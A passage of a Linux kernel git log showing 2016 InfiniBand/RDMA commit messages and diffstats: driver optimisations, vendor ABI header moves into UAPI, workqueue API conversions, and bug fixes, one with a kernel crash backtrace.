changed, 1 insertion(+) commit 49b53a93a64ab0aaec10851b004297a3ac885433 Author: Steve Wise Date: Fri Sep 16 07:54:52 2016 -0700 iw_cxgb4: add fast-path for small REG_MR operations When processing a REG_MR work request, if fw supports the FW_RI_NSMR_TPTE_WR work request, and if the page list for this registration is <= 2 pages, and the current state of the mr is INVALID, then use FW_RI_NSMR_TPTE_WR to pass down a fully populated TPTE for FW to write. This avoids FW having to do an async read of the TPTE blocking the SQ until the read completes. To know if the current MR state is INVALID or not, iw_cxgb4 must track the state of each fastreg MR. The c4iw_mr struct state is updated as REG_MR and LOCAL_INV WRs are posted and completed, when a reg_mr is destroyed, and when RECV completions are processed that include a local invalidation. This optimization increases small IO IOPS for both iSER and NVMF. Signed-off-by: Steve Wise Signed-off-by: Doug Ledford drivers/infiniband/hw/cxgb4/cq.c | 17 +++++++ drivers/infiniband/hw/cxgb4/mem.c | 2 +- drivers/infiniband/hw/cxgb4/qp.c | 67 +++++++++++++++++++++++---- drivers/infiniband/hw/cxgb4/t4.h | 4 +- drivers/infiniband/hw/cxgb4/t4fw_ri_api.h | 12 +++++ drivers/net/ethernet/chelsio/cxgb4/t4fw_api.h | 1 + 6 files changed, 92 insertions(+), 11 deletions(-) commit 086de575c14239f77ea0dbf2370738a105c753ea Author: Steve Wise Date: Fri Sep 16 07:54:49 2016 -0700 cxgb4: advertise support for FR_NSMR_TPTE_WR Query firmware for the FW_PARAMS_PARAM_DEV_RI_FR_NSMR_TPTE_WR parameter. If it exists and is 1, then advertise support for FR_NSMR_TPTE_WR to the ULDs. Signed-off-by: Steve Wise Signed-off-by: Doug Ledford drivers/net/ethernet/chelsio/cxgb4/cxgb4.h | 1 + drivers/net/ethernet/chelsio/cxgb4/cxgb4_main.c | 7 +++++++ drivers/net/ethernet/chelsio/cxgb4/cxgb4_uld.h | 1 + drivers/net/ethernet/chelsio/cxgb4/t4fw_api.h | 1 + 4 files changed, 10 insertions(+) commit b6bc1c731f0b985e91f618561fc82c6e252dfaf4 Author: Steve Wise Date: Thu Sep 29 07:31:33 2016 -0700 IB/core: correctly handle rdma_rw_init_mrs() failure Function ib_create_qp() was failing to return an error when rdma_rw_init_mrs() fails, causing a crash further down in ib_create_qp() when trying to dereferece the qp pointer which was actually a negative errno. The crash: crash> log|grep BUG [ 136.458121] BUG: unable to handle kernel NULL pointer dereference at 0000000000000098 crash> bt PID: 3736 TASK: ffff8808543215c0 CPU: 2 COMMAND: "kworker/u64:2" #0 [ffff88084d323340] machine_kexec at ffffffff8105fbb0 #1 [ffff88084d3233b0] __crash_kexec at ffffffff81116758 #2 [ffff88084d323480] crash_kexec at ffffffff8111682d #3 [ffff88084d3234b0] oops_end at ffffffff81032bd6 #4 [ffff88084d3234e0] no_context at ffffffff8106e431 #5 [ffff88084d323530] __bad_area_nosemaphore at ffffffff8106e610 #6 [ffff88084d323590] bad_area_nosemaphore at ffffffff8106e6f4 #7 [ffff88084d3235a0] __do_page_fault at ffffffff8106ebdc #8 [ffff88084d323620] do_page_fault at ffffffff8106f057 #9 [ffff88084d323660] page_fault at ffffffff816e3148 [exception RIP: ib_create_qp+427] RIP: ffffffffa02554fb RSP: ffff88084d323718 RFLAGS: 00010246 RAX: 0000000000000004 RBX: fffffffffffffff4 RCX: 000000018020001f RDX: ffff880830997fc0 RSI: 0000000000000001 RDI: ffff88085f407200 RBP: ffff88084d323778 R8: 0000000000000001 R9: ffffea0020bae210 R10: ffffea0020bae218 R11: 0000000000000001 R12: ffff88084d3237c8 R13: 00000000fffffff4 R14: ffff880859fa5000 R15: ffff88082eb89800 ORIG_RAX: ffffffffffffffff CS: 0010 SS: 0018 #10 [ffff88084d323780] rdma_create_qp at ffffffffa0782681 [rdma_cm] #11 [ffff88084d3237b0] nvmet_rdma_create_queue_ib at ffffffffa07c43f3 [nvmet_rdma] #12 [ffff88084d323860] nvmet_rdma_alloc_queue at ffffffffa07c5ba9 [nvmet_rdma] #13 [ffff88084d323900] nvmet_rdma_queue_connect at ffffffffa07c5c96 [nvmet_rdma] #14 [ffff88084d323980] nvmet_rdma_cm_handler at ffffffffa07c6450 [nvmet_rdma] #15 [ffff88084d3239b0] iw_conn_req_handler at ffffffffa0787480 [rdma_cm] #16 [ffff88084d323a60] cm_conn_req_handler at ffffffffa0775f06 [iw_cm] #17 [ffff88084d323ab0] process_event at ffffffffa0776019 [iw_cm] #18 [ffff88084d323af0] cm_work_handler at ffffffffa0776170 [iw_cm] #19 [ffff88084d323cb0] process_one_work at ffffffff810a1483 #20 [ffff88084d323d90] worker_thread at ffffffff810a211d #21 [ffff88084d323ec0] kthread at ffffffff810a6c5c #22 [ffff88084d323f50] ret_from_fork at ffffffff816e1ebf Fixes: 632bc3f65081 ("IB/core, RDMA RW API: Do not exceed QP SGE send limit") Signed-off-by: Steve Wise Cc: stable@vger.kernel.org Reviewed-by: Bart Van Assche Signed-off-by: Doug Ledford drivers/infiniband/core/verbs.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit 681cc3608355737c1effebc8145f95c8c3344bc3 Author: Bart Van Assche Date: Mon Sep 26 12:58:49 2016 -0700 IB/srp: Fix infinite loop when FMR sg[0].offset != 0 Avoid that mapping an sg-list in which the first element has a non-zero offset triggers an infinite loop when using FMR. This patch makes the FMR mapping code similar to that of ib_sg_to_pages(). Note: older Mellanox HCAs do not support non-zero offsets for FMR. See also commit 8c4037b501ac ("IB/srp: always avoid non-zero offsets into an FMR"). Reported-by: Alex Estrin Signed-off-by: Bart Van Assche Cc: Signed-off-by: Doug Ledford drivers/infiniband/ulp/srp/ib_srp.c | 8 +++++--- 1 file changed, 5 insertions(+), 3 deletions(-) commit 52bb8c626e0e5526c72b6ad17f1381f0bad283cc Author: Bart Van Assche Date: Mon Sep 26 12:57:10 2016 -0700 IB/srp: Remove an unused argument Signed-off-by: Bart Van Assche Signed-off-by: Doug Ledford drivers/infiniband/ulp/srp/ib_srp.c | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) commit 52746129e02998fb45942aed359e77e63def4997 Author: Bart Van Assche Date: Mon Sep 26 09:09:42 2016 -0700 IB/core: Improve ib_map_mr_sg() documentation Document that ib_map_mr_sg() is able to map physically discontiguous sg-lists as a single MR. Change IB_MR_TYPE_SG_GAPS_REG into IB_MR_TYPE_SG_GAPS. Signed-off-by: Bart Van Assche Cc: Sagi Grimberg Cc: Christoph Hellwig Reviewed-by: Christoph Hellwig Reviewed-by: Sagi Grimberg Signed-off-by: Doug Ledford drivers/infiniband/core/verbs.c | 8 ++++---- 1 file changed, 4 insertions(+), 4 deletions(-) commit fd10ed8e6f4246ac5e18b921ba50562959502117 Author: Jack Morgenstein Date: Mon Sep 12 19:16:21 2016 +0300 IB/mlx4: Fix possible vl/sl field mismatch in LRH header in QP1 packets In MLX qp packets, the LRH (built by the driver) has both a VL field and an SL field. When building a QP1 packet, the VL field should reflect the SLtoVL mapping and not arbitrarily contain zero (as is done now). This bug causes credit problems in IB switches at high rates of QP1 packets. The fix is to cache the SL to VL mapping in the driver, and look up the VL mapped to the SL provided in the send request when sending QP1 packets. For FW versions which support generating a port_management_config_change event with subtype sl-to-vl-table-change, the driver uses that event to update its sl-to-vl mapping cache. Otherwise, the driver snoops incoming SMP mads to update the cache. There remains the case where the FW is running in secure-host mode (so no QP0 packets are delivered to the driver), and the FW does not generate the sl2vl mapping change event. To support this case, the driver updates (via querying the FW) its sl2vl mapping cache when running in secure-host mode when it receives either a Port Up event or a client-reregister event (where the port is still up, but there may have been an opensm failover). OpenSM modifies the sl2vl mapping before Port Up and Client-reregister events occur, so if there is a mapping change the driver's cache will be properly updated. Fixes: 225c7b1feef1 ("IB/mlx4: Add a driver Mellanox ConnectX InfiniBand adapters") Signed-off-by: Jack Morgenstein Signed-off-by: Leon Romanovsky Signed-off-by: Doug Ledford drivers/infiniband/hw/mlx4/mad.c | 64 ++++++++++++++++++- drivers/infiniband/hw/mlx4/main.c | 110 +++++++++++++++++++++++++++++++- drivers/infiniband/hw/mlx4/mlx4_ib.h | 7 ++ drivers/infiniband/hw/mlx4/qp.c | 23 ++++++- drivers/net/ethernet/mellanox/mlx4/fw.c | 13 ++-- include/linux/mlx4/device.h | 13 +++- 6 files changed, 220 insertions(+), 10 deletions(-) commit 486f60954c71c5ce42341ed02cf804dda1c1bcc5 Author: Leon Romanovsky Date: Thu Sep 22 17:31:17 2016 +0300 IB/mthca: Move user vendor structures This patch moves mthca vendor's specific structures to common UAPI folder which will be visible to all consumers. These structures are used by user-space library driver (libmthca) and currently manually copied to that library. This move will allow cross-compile against these files and simplify introduction of vendor specific data. Signed-off-by: Leon Romanovsky Signed-off-by: Doug Ledford drivers/infiniband/hw/mthca/mthca_provider.c | 2 +- include/uapi/rdma/Kbuild | 1 + include/uapi/rdma/mthca-abi.h | 111 +++++++++++++++++++++++++++ 3 files changed, 113 insertions(+), 1 deletion(-) commit c546b2a3b6612a9fa09940a13844ef384683db6e Author: Leon Romanovsky Date: Thu Sep 22 17:31:16 2016 +0300 IB/nes: Move user vendor structures This patch moves nes vendor's specific structures to common UAPI folder which will be visible to all consumers. These structures are used by user-space library driver (libmlx4) and currently manually copied to that library. This move will allow cross-compile against these files and simplify introduction of vendor specific data. Signed-off-by: Leon Romanovsky Signed-off-by: Doug Ledford MAINTAINERS | 1 + drivers/infiniband/hw/nes/nes.h | 2 +- drivers/infiniband/hw/nes/nes_user.h | 114 ----------------------------------- include/uapi/rdma/Kbuild | 1 + include/uapi/rdma/nes-abi.h | 114 +++++++++++++++++++++++++++++++++++ 5 files changed, 117 insertions(+), 115 deletions(-) commit a7fe7380f6b234f207a599c9ffbaae6c1a574634 Author: Leon Romanovsky Date: Thu Sep 22 17:31:15 2016 +0300 IB/ocrdma: Move user vendor structures This patch moves ocrdma vendor's specific structures to common UAPI folder which will be visible to all consumers. These structures are used by user-space library driver (libmlx4) and currently manually copied to that library. This move will allow cross-compile against these files and simplify introduction of vendor specific data. In addition, it changes types to be __uXX instead of uXX. Signed-off-by: Leon Romanovsky Acked-By: Devesh Sharma Signed-off-by: Doug Ledford MAINTAINERS | 1 + drivers/infiniband/hw/ocrdma/ocrdma_abi.h | 149 --------------------------- drivers/infiniband/hw/ocrdma/ocrdma_main.c | 2 +- drivers/infiniband/hw/ocrdma/ocrdma_verbs.c | 2 +- include/uapi/rdma/Kbuild | 1 + include/uapi/rdma/ocrdma-abi.h | 151 ++++++++++++++++++++++++++++ 6 files changed, 155 insertions(+), 151 deletions(-) commit 9ce28a20eec551cfc032c87cd31a05c14d11155d Author: Leon Romanovsky Date: Thu Sep 22 17:31:14 2016 +0300 IB/mlx4: Move user vendor structures This patch moves mlx4 vendor's specific structures to common UAPI folder which will be visible to all consumers. These structures are used by user-space library driver (libmlx4) and currently manually copied to that library. This move will allow cross-compile against these files and simplify introduction of vendor specific data. Signed-off-by: Leon Romanovsky Signed-off-by: Doug Ledford MAINTAINERS | 1 + drivers/infiniband/hw/mlx4/cq.c | 2 +- drivers/infiniband/hw/mlx4/main.c | 2 +- drivers/infiniband/hw/mlx4/qp.c | 2 +- drivers/infiniband/hw/mlx4/srq.c | 2 +- drivers/infiniband/hw/mlx4/user.h | 107 -------------------------------------- include/uapi/rdma/Kbuild | 1 + include/uapi/rdma/mlx4-abi.h | 107 ++++++++++++++++++++++++++++++++++++++ 8 files changed, 113 insertions(+), 111 deletions(-) commit e44ee2fd9845a86b0c7e8742672ae5ba6d7d34ee Author: Leon Romanovsky Date: Thu Sep 22 17:31:13 2016 +0300 IB/cxgb4: Move user vendor structures This patch moves cxgb4 vendor's specific structures to common UAPI folder which will be visible to all consumers. These structures are used by user-space library driver (libcxgb4) and currently manually copied to that library. This move will allow cross-compile against these files and simplify introduction of vendor specific data. Signed-off-by: Leon Romanovsky Reviewed-by: Steve Wise Signed-off-by: Doug Ledford MAINTAINERS | 1 + drivers/infiniband/hw/cxgb4/iw_cxgb4.h | 2 +- drivers/infiniband/hw/cxgb4/user.h | 80 --------------------------------- include/uapi/rdma/Kbuild | 1 + include/uapi/rdma/cxgb4-abi.h | 81 ++++++++++++++++++++++++++++++++++ 5 files changed, 84 insertions(+), 81 deletions(-) commit a85fb3383340b417132e5731f9694840660887cb Author: Leon Romanovsky Date: Thu Sep 22 17:31:12 2016 +0300 IB/cxgb3: Move user vendor structures This patch moves cxgb3 vendor's specific structures to common UAPI folder which will be visible to all consumers. These structures are used by user-space library driver (libcxgb3) and currently manually copied to that library. This move will allow cross-compile against these files and simplify introduction of vendor specific data. Signed-off-by: Leon Romanovsky Reviewed-by: Steve Wise Signed-off-by: Doug Ledford MAINTAINERS | 1 + drivers/infiniband/hw/cxgb3/iwch.c | 2 +- drivers/infiniband/hw/cxgb3/iwch_provider.c | 2 +- drivers/infiniband/hw/cxgb3/iwch_user.h | 74 ---------------------------- include/uapi/rdma/Kbuild | 1 + include/uapi/rdma/cxgb3-abi.h | 76 +++++++++++++++++++++++++++++ 6 files changed, 80 insertions(+), 76 deletions(-) commit 3085e29e2f832cbf77ddeeffe715809a31254b5f Author: Leon Romanovsky Date: Thu Sep 22 17:31:11 2016 +0300 IB/mlx5: Move and decouple user vendor structures This patch decouples and moves vendors specific structures to common UAPI folder which will be visible to all consumers. These structures are used by user-space library driver (libmlx5) and currently manually copied to that library. This move will allow cross-compile against these files and simplify introduction of vendor specific data. Signed-off-by: Leon Romanovsky Signed-off-by: Doug Ledford MAINTAINERS | 1 + drivers/infiniband/hw/mlx5/cq.c | 1 - drivers/infiniband/hw/mlx5/main.c | 1 - drivers/infiniband/hw/mlx5/mlx5_ib.h | 37 +++++ drivers/infiniband/hw/mlx5/mr.c | 1 - drivers/infiniband/hw/mlx5/qp.c | 1 - drivers/infiniband/hw/mlx5/srq.c | 1 - drivers/infiniband/hw/mlx5/user.h | 288 ----------------------------------- include/uapi/rdma/Kbuild | 1 + include/uapi/rdma/mlx5-abi.h | 249 ++++++++++++++++++++++++++++++ 10 files changed, 288 insertions(+), 293 deletions(-) commit bd99fdea420b00925e9b83a50f2ccc5e1f07ef7d Author: Yuval Shaia Date: Thu Aug 25 10:57:07 2016 -0700 IB/{core,hw}: Add constant for node_desc Signed-off-by: Yuval Shaia Signed-off-by: Doug Ledford drivers/infiniband/core/sysfs.c | 2 +- drivers/infiniband/hw/cxgb3/iwch_provider.c | 1 + drivers/infiniband/hw/cxgb4/provider.c | 1 + drivers/infiniband/hw/hfi1/verbs.c | 3 ++- drivers/infiniband/hw/mlx4/mad.c | 3 ++- drivers/infiniband/hw/mlx4/main.c | 6 +++--- drivers/infiniband/hw/mlx5/mad.c | 2 +- drivers/infiniband/hw/mlx5/main.c | 6 +++--- drivers/infiniband/hw/mthca/mthca_mad.c | 3 ++- drivers/infiniband/hw/mthca/mthca_provider.c | 5 +++-- drivers/infiniband/hw/ocrdma/ocrdma_main.c | 1 + drivers/infiniband/hw/qib/qib_verbs.c | 3 ++- include/rdma/ib_verbs.h | 6 ++++-- 13 files changed, 26 insertions(+), 16 deletions(-) commit 32f7451d1c6214169848cfea331e2c9d4067a650 Author: kernel@kyup.com Date: Mon Aug 8 17:14:22 2016 +0300 ipoib: Make ipoib_warn ratelimited In certain cases it's possible to be flooded by warning messages. To cope with such situations make the ipoib_warn macro be ratelimited. To prevent accidental limiting of legitimate, bursty messages make the limit fairly liberal by allowing up to 100 messages in 10 seconds. Signed-off-by: Nikolay Borisov Signed-off-by: Doug Ledford drivers/infiniband/ulp/ipoib/ipoib.h | 8 +++++++- 1 file changed, 7 insertions(+), 1 deletion(-) commit fb6375d7e6e743fc88a416cbfab89f608ed9ebcb Author: Bhaktipriya Shridhar Date: Mon Aug 15 23:45:06 2016 +0530 IB/mlx4/alias_GUID: Remove deprecated create_singlethread_workqueue alloc_ordered_workqueue() with WQ_MEM_RECLAIM set, replaces deprecated create_singlethread_workqueue(). This is the identity conversion. The workqueue "wq" queues work item that maps to alias_guid_work. It has been identity converted. WQ_MEM_RECLAIM has been set to ensure forward progress under memory pressure. Signed-off-by: Bhaktipriya Shridhar Reviewed-by: Leon Romanovsky Signed-off-by: Doug Ledford drivers/infiniband/hw/mlx4/alias_GUID.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit b4541f6f883aec0311c56bd64d0963ac7a9ae53b Author: Bhaktipriya Shridhar Date: Mon Aug 15 23:44:47 2016 +0530 IB/ipoib_verbs: Remove deprecated create_singlethread_workqueue alloc_ordered_workqueue() with WQ_MEM_RECLAIM set, replaces deprecated create_singlethread_workqueue(). This is the identity conversion. The workqueue "wq" queues mulitple work items viz &priv->restart_task, &priv->cm.rx_reap_task, &priv->cm.skb_task, &priv->neigh_reap_task, &priv->ah_reap_task, &priv->mcast_task and &priv->carrier_on_task. The work items require strict execution ordering. Hence, an ordered dedicated workqueue has been used. WQ_MEM_RECLAIM has been set to ensure forward progress under memory pressure. Signed-off-by: Bhaktipriya Shridhar Signed-off-by: Doug Ledford drivers/infiniband/ulp/ipoib/ipoib_verbs.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit 855cda68285ed02491f73eb86894ed38804fdfbc Author: Bhaktipriya Shridhar Date: Mon Aug 15 23:44:26 2016 +0530 IB/ipoib: Remove deprecated create_singlethread_workqueue alloc_ordered_workqueue() replaces deprecated create_singlethread_workqueue(). The workqueue "ipoib_workqueue" that is used for all flush operations for the device. WQ_MEM_RECLAIM has been set since the flush operations may need to complete in order for other network functions to continue, and the memory reclaim operation might need the network functioning in order to make progress. Signed-off-by: Bhaktipriya Shridhar Signed-off-by: Doug Ledford drivers/infiniband/ulp/ipoib/ipoib_main.c | 3 ++- 1 file changed, 2 insertions(+), 1 deletion(-) commit 9e5df3125c9d88d402dcb97abdc6b7dc6a6c8841 Author: Bhaktipriya Shridhar Date: Mon Aug 15 23:44:03 2016 +0530 IB/nes: Remove deprecated create_singlethread_workqueue alloc_ordered_workqueue() replaces deprecated create_singlethread_workqueue(). The workqueue "event_wq" queues work item &event->event_work and the workqueue "disconn_wq" queues work item work (maps to g_cm_core->disconn_wq). WQ_MEM_RECLAIM has not been set since the workqueues are not being used on a memory reclaim path. Signed-off-by: Bhaktipriya Shridhar Signed-off-by: Doug Ledford drivers/infiniband/hw/nes/nes_cm.c | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) commit fcf621dd2ba2950a3a6717fc0a3c1f908107a546 Author: Bhaktipriya Shridhar Date: Mon Aug 15 23:43:35 2016 +0530 IB/mlx4/mcg: Remove deprecated create_singlethread_workqueue alloc_ordered_workqueue() with WQ_MEM_RECLAIM set, replaces deprecated create_singlethread_workqueue(). This is the identity conversion. The workqueue "mcg_wq" queues work items &group->work and &group->timeout_work. The workqueue "clean_wq" queues work item mcg_clean_task. Both have been identity converted. WQ_MEM_RECLAIM has been set to ensure forward progress under memory pressure. Signed-off-by: Bhaktipriya Shridhar Reviewed-by: Leon Romanovsky Signed-off-by: Doug Ledford drivers/infiniband/hw/mlx4/mcg.c | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) commit 90b14b3237ba58d4cc8f523e225e6a22f8e4927c Author: Bhaktipriya Shridhar Date: Mon Aug 15 23:43:10 2016 +0530 IB/mlx4/mad: Remove deprecated create_singlethread_workqueue alloc_ordered_workqueue() with WQ_MEM_RECLAIM set, replaces deprecated create_singlethread_workqueue(). This is the identity conversion. The workqueue "wq" queues work item &ctx->work and the workqueue "ud_wq" queues work item &dm[i]->work. Both the workqueues have been identity converted. WQ_MEM_RECLAIM has been set to ensure forward progress under memory pressure. Signed-off-by: Bhaktipriya Shridhar Reviewed-by: Leon Romanovsky Signed-off-by: Doug Ledford drivers/infiniband/hw/mlx4/mad.c | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) commit 41cd3944057a5a1e5ff56a92a935576bff618b17 Author: Bhaktipriya Shridhar Date: Mon Aug 15 23:42:48 2016 +0530 IB/mlx4: Remove deprecated create_singlethread_workqueue alloc_ordered_workqueue() with WQ_MEM_RECLAIM set, replaces deprecated create_singlethread_workqueue(). This is the identity conversion. The workqueue "wq" queues work items &dm[i]->work, &ew->work. It has been identity converted. WQ_MEM_RECLAIM has been set to ensure forward progress under memory pressure. Signed-off-by: Bhaktipriya Shridhar Reviewed-by: Leon Romanovsky Signed-off-by: Doug Ledford drivers/infiniband/hw/mlx4/main.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit 72a36d114187caaf434ebd5764b5f4840236ddb3 Author: Bhaktipriya Shridhar Date: Mon Aug 15 23:42:19 2016 +0530 IB/mlx5/odp: Remove deprecated create_singlethread_workqueue alloc_ordered_workqueue() with WQ_MEM_RECLAIM set, replaces deprecated create_singlethread_workqueue(). This is the identity conversion. The workqueue "mlx5_ib_page_fault_wq" queues work item &qp_pfault->work. It has been identity converted. WQ_MEM_RECLAIM has been set to ensure forward progress under memory pressure. Signed-off-by: Bhaktipriya Shridhar Acked-by: Leon Romanovsky Signed-off-by: Doug Ledford drivers/infiniband/hw/mlx5/odp.c | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) commit 3c856c82adc2cd4229ea91a82c00e91df5d44ddc Author: Bhaktipriya Shridhar Date: Mon Aug 15 23:41:18 2016 +0530 IB/mlx5: Remove deprecated create_singlethread_workqueue alloc_ordered_workqueue() with WQ_MEM_RECLAIM set, replaces deprecated create_singlethread_workqueue(). This is the identity conversion. The workqueue "cache->wq" queues work items &ent->work (maps to cache_work_func) and &ent->dwork(maps to delayed_cache_work_func). It has been identity converted. WQ_MEM_RECLAIM has been set to ensure forward progress under memory pressure. Signed-off-by: Bhaktipriya Shridhar Acked-by: Leon Romanovsky Acked-by: Leon Romanovsky Signed-off-by: Doug Ledford drivers/infiniband/hw/mlx5/mr.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit 5e9ff9b0bf0a20e87c75506604a1233f6c37f335 Author: Bhaktipriya Shridhar Date: Mon Aug 15 23:40:53 2016 +0530 i40iw_cm: Remove deprecated create_singlethread_workqueue alloc_ordered_workqueue() with WQ_MEM_RECLAIM set, replaces deprecated create_singlethread_workqueue(). This is the identity conversion. The workqueue "event_wq" is involved in event handling and queues i40iw_cm_event_handler. The workqueue "disconn_wq" is involved in closing connection and queues i40iw_disconnect_worker. Both workqueues have been identity converted. WQ_MEM_RECLAIM has been set to ensure forward progress under memory pressure. Signed-off-by: Bhaktipriya Shridhar Signed-off-by: Doug Ledford drivers/infiniband/hw/i40iw/i40iw_cm.c | 7 +++++-- 1 file changed, 5 insertions(+), 2 deletions(-) commit 73b976954360b4b37570ab001e85d8dde0c345b7 Author: Bhaktipriya Shridhar Date: Mon Aug 15 23:40:09 2016 +0530 i40iw_main: Remove deprecated create_singlethread_workqueue alloc_ordered_workqueue() with WQ_MEM_RECLAIM set, replaces deprecated create_singlethread_workqueue(). This is the identity conversion. The workqueue "virtchnl_wq" queues work items i40iw_cqp_generic_worker and i40iw_cqp_manage_hmc_fcn_worker. It has been identity converted. WQ_MEM_RECLAIM has been set to ensure forward progress under memory pressure. Signed-off-by: Bhaktipriya Shridhar Signed-off-by: Doug Ledford drivers/infiniband/hw/i40iw/i40iw_main.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit 401f047e1b10bdcea8d351c52366b94688c271fb Author: Bhaktipriya Shridhar Date: Mon Aug 15 23:39:37 2016 +0530 IB/mthca: Remove deprecated create_singlethread_workqueue alloc_ordered_workqueue() with WQ_MEM_RECLAIM set, replaces deprecated create_singlethread_workqueue(). This is the identity conversion. The workqueue "catas_wq" in triggering a device remove and causing a device reset when a catastrophic error occurs. It has been identity converted. WQ_MEM_RECLAIM has been set to ensure forward progress under memory pressure. Signed-off-by: Bhaktipriya Shridhar Signed-off-by: Doug Ledford drivers/infiniband/hw/mthca/mthca_catas.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit 52ee1a05d2724b71327d53b5fc152f1344ff2b3f Author: Bhaktipriya Shridhar Date: Mon Aug 15 23:39:14 2016 +0530 iw_cxgb4: Remove deprecated create_singlethread_workqueue alloc_ordered_workqueue() with WQ_MEM_RECLAIM set, replaces deprecated create_singlethread_workqueue(). This is the identity conversion. The workqueue "workq" queues work item &skb_work. It has been identity converted. WQ_MEM_RECLAIM has been set to ensure forward progress under memory pressure. Signed-off-by: Bhaktipriya Shridhar Acked-by: Steve Wise Signed-off-by: Doug Ledford drivers/infiniband/hw/cxgb4/cm.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit b59114bbca195f381a3b10b8172ee9b0511ce7de Author: Bhaktipriya Shridhar Date: Mon Aug 15 23:38:47 2016 +0530 IB/qib: Remove deprecated create_singlethread_workqueue alloc_ordered_workqueue() with WQ_MEM_RECLAIM set, replaces deprecated create_singlethread_workqueue(). This is the identity conversion. The workqueue "qib" queues work item &priv->s_work. It has been identity converted. WQ_MEM_RECLAIM has been set to ensure forward progress under memory pressure. Signed-off-by: Bhaktipriya Shridhar Tested-by: Mike Marciniszyn Acked-by: Mike Marciniszyn Signed-off-by: Doug Ledford drivers/infiniband/hw/qib/qib_init.c | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) commit b41ff7cdb50a67974cdb62b1a8b500851bad101c Author: Bhaktipriya Shridhar Date: Mon Aug 15 23:38:20 2016 +0530 iw_cxgb3: Remove deprecated create_singlethread_workqueue alloc_ordered_workqueue() with WQ_MEM_RECLAIM set, replaces deprecated create_singlethread_workqueue(). This is the identity conversion. The workqueue "workq" queues work item &skb_work. It has been identity converted. WQ_MEM_RECLAIM has been set to ensure forward progress under memory pressure. Signed-off-by: Bhaktipriya Shridhar Acked-by: Steve Wise Signed-off-by: Doug Ledford drivers/infiniband/hw/cxgb3/iwch_cm.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit daf0879f4cb9b413d8f82404350cf956ce3e458b Author: Bhaktipriya Shridhar Date: Mon Aug 15 23:37:44 2016 +0530 IB/iwcm: Remove deprecated create_singlethread_workqueue alloc_ordered_workqueue() with WQ_MEM_RECLAIM set, replaces deprecated create_singlethread_workqueue(). This is the identity conversion. The workqueue "iwcm_wq" queues work item &work(maps to cm_work_handler). It has been identity converted. WQ_MEM_RECLAIM has been set to ensure forward progress under memory pressure. Signed-off-by: Bhaktipriya Shridhar Reviewed-by: Steve Wise Signed-off-by: Doug Ledford drivers/infiniband/core/iwcm.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit f54816261c2b36e59e43f02d654ac5834a71537d Author: Bhaktipriya Shridhar Date: Mon Aug 15 23:30:32 2016 +0530 IB/addr: Remove deprecated create_singlethread_workqueue The workqueue "addr_wq" queues a single work item &work and hence doesn't require ordering. Also, it is being used on a memory reclaim path. Hence, it has been converted to use alloc_workqueue with WQ_MEM_RECLAIM set. WQ_MEM_RECLAIM has been set to ensure forward progress under memory pressure. Signed-off-by: Bhaktipriya Shridhar Signed-off-by: Doug Ledford drivers/infiniband/core/addr.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit dee9acbb3254f67f7b0ce0766f13e25c5618ae78 Author: Bhaktipriya Shridhar Date: Mon Aug 15 23:29:35 2016 +0530 IB/cma: Remove deprecated create_singlethread_workqueue alloc_ordered_workqueue() with WQ_MEM_RECLAIM set, replaces deprecated create_singlethread_workqueue(). This is the identity conversion. The workqueue "cma_wq" queues work item cma_work_handler. It has been identity converted. WQ_MEM_RECLAIM has been set to ensure forward progress under memory pressure. Signed-off-by: Bhaktipriya Shridhar Reviewed-by: Steve Wise Signed-off-by: Doug Ledford drivers/infiniband/core/cma.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit a190d3b07c9f8046784681fa6167005711ed3f5e Author: Bhaktipriya Shridhar Date: Mon Aug 15 23:29:10 2016 +0530 IB/ucma: Remove deprecated create_singlethread_workqueue alloc_ordered_workqueue() with WQ_MEM_RECLAIM set, replaces deprecated create_singlethread_workqueue(). This is the identity conversion. The workqueue "close_wq" queues work items &ctx->close_work (maps to ucma_close_id) and &con_req_eve->close_work (maps to ucma_close_event_id). It has been identity converted. WQ_MEM_RECLAIM has been set to ensure forward progress under memory pressure. Signed-off-by: Bhaktipriya Shridhar Signed-off-by: Doug Ledford drivers/infiniband/core/ucma.c | 3 ++- 1 file changed, 2 insertions(+), 1 deletion(-) commit 01013cdf06d930dbc293d001ccf509200e403057 Author: Bhaktipriya Shridhar Date: Mon Aug 15 23:28:36 2016 +0530 IB/multicast: Remove deprecated create_singlethread_workqueue alloc_ordered_workqueue() with WQ_MEM_RECLAIM set, replaces deprecated create_singlethread_workqueue(). This is the identity conversion. The workqueue "mcast_wq" queues work item &group->work. It has been identity converted. WQ_MEM_RECLAIM has been set to ensure forward progress under memory pressure. Signed-off-by: Bhaktipriya Shridhar Signed-off-by: Doug Ledford drivers/infiniband/core/multicast.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit 1c99e299ba62f72b24e8ec2f4436f574d7433f11 Author: Bhaktipriya Shridhar Date: Mon Aug 15 23:28:07 2016 +0530 IB/mad: Remove deprecated create_singlethread_workqueue The workqueue "ib_nl" queues work items &ib_nl_timed_work and &mad_agent_priv->local_work. It has been identity converted. WQ_MEM_RECLAIM has been set to ensure forward progress under memory pressure. Signed-off-by: Bhaktipriya Shridhar Signed-off-by: Doug Ledford drivers/infiniband/core/mad.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit 4534d859020190c8fa04d899ddca656191339de1 Author: Bhaktipriya Shridhar Date: Mon Aug 15 23:27:46 2016 +0530 IB/sa : Remove deprecated create_singlethread_workqueue alloc_ordered_workqueue() with WQ_MEM_RECLAIM set, replaces deprecated create_singlethread_workqueue(). This is the identity conversion. The workqueue "ib_nl" queues work item 